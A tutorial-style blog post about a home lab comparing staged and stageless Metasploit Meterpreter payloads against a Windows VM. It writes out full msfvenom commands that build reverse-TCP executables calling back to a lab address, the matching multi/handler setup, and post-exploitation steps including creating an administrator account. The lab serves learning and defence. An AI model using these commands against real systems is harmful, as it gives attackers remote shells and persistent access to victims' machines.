Metasploit Deep Dive: Staged vs. Stageless Payloads
If you’re learning Metasploit, you’ve probably typed one of these without thinking too hard:
windows/meterpreter/reverse_tcp
windows/meterpreter_reverse_tcp
They look almost identical. One slash. One underscore. Easy to copy-paste, easy to forget.
I used to treat them the same way—until I actually built a lab to see what really happens under the hood. And that’s where things got interesting.
This article walks through a hands-on lab where I compared staged vs. stageless payloads, broke a few things along the way, and finally understood why this distinction matters in real attacks.
Why This Difference Matters (Especially for Beginners)
Early on, it’s tempting to think exploitation is about memorizing commands. Run msfvenom, start a handler, wait for a session.
But the real skill isn’t in typing commands — it’s in understanding how payloads are delivered, what can fail, and why one payload works while another dies silently.
Staged vs. stageless payloads are a perfect example of this.
The Lab Setup (Nothing Fancy, Just Real)
For this project, I kept the environment simple and realistic:
Attacker: Kali Linux with Metasploit Framework
Target: Windows VM
Network: Host-only / internal lab network
Delivery: Payload hosted via Apache
Goal:
Get a Meterpreter session
Perform post-exploitation (recon + admin account creation)
Everything was done in an isolated lab I control.
Payload Theory (Quick, Practical Version)
Before touching commands, here’s the mental model that finally clicked for me:
🧩 Staged Payload
Small initial payload (the “stager”)
Connects back to the attacker
Downloads the full Meterpreter stage into memory
Pros:
Smaller executable
Flexible, modular
Cons:
If the second stage is blocked → session dies
🧱 Stageless Payload
Entire payload bundled into one executable
No second-stage download
Pros:
More reliable in restricted networks
Fewer moving parts
Cons:
Larger file
Easier to flag by AV
Same goal. Very different delivery.
Part 1: The Staged Payload Attack
Generating the Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o staged.exe
This payload is intentionally small. It’s not Meterpreter yet — it’s just enough code to call home and ask for the rest.
Setting the Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
Important:
If the payload here doesn’t exactly match what you used in msfvenom, nothing works. No errors. No warnings. Just… nothing.
I learned that the hard way.
Execution & Session
Once the victim runs the executable, the stager connects back, pulls the full Meterpreter payload, and opens a session.
When it works, it feels great.
When it doesn’t, you’re staring at logs wondering what you broke.
Part 2: The Stageless Payload Attack
Now for the underscore payload.
Generating the Payload
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o stageless.exe
This time, everything is baked into one file.
Handler Setup
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
When the victim executes this payload, the session opens immediately. No staging. No second download.
In restrictive environments, this difference matters a lot.
Post-Exploitation: What We Did After Access
Once Meterpreter was live, I treated this like a real post-exploitation scenario:
System enumeration (sysinfo)
Dropping into a shell
Creating a new administrator account
Running local exploit suggestion modules
This part matters because exploitation isn’t the finish line — it’s the starting point.
The “Aha” Moment
The biggest takeaway wasn’t the commands.
It was realizing that:
Payload choice affects reliability
Network controls affect staging
A “session closed” error usually means delivery failed, not “Metasploit is broken”
Once you understand that, debugging becomes logical instead of frustrating.
Common Frustrations (That I Definitely Hit)
❌ Session opens then immediately closes
❌ No callback because LHOST was wrong
❌ Firewall silently blocking staged payloads
❌ Payload/handler mismatch
These aren’t beginner mistakes — they’re normal. What matters is knowing where to look and why it failed.
So… Which Payload Should You Use?
There’s no universal answer.
Staged payloads ->Smaller, More flexible, Risky in filtered networks
Stageless payloads-> Larger, More reliable, Easier to detect
Good attackers (and good defenders) understand both.
Final Thoughts
If you’re learning Metasploit, don’t stop at “I got a session.”
Build labs where:
Things break
Sessions fail
You have to reason through why
That’s where real skill develops.
I’ve documented the full lab — commands, screenshots, and walkthrough — here:
👉 GitHub Repo:
https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads
Build this lab yourself. Break it. Fix it.
That’s how it sticks.
Top comments (0)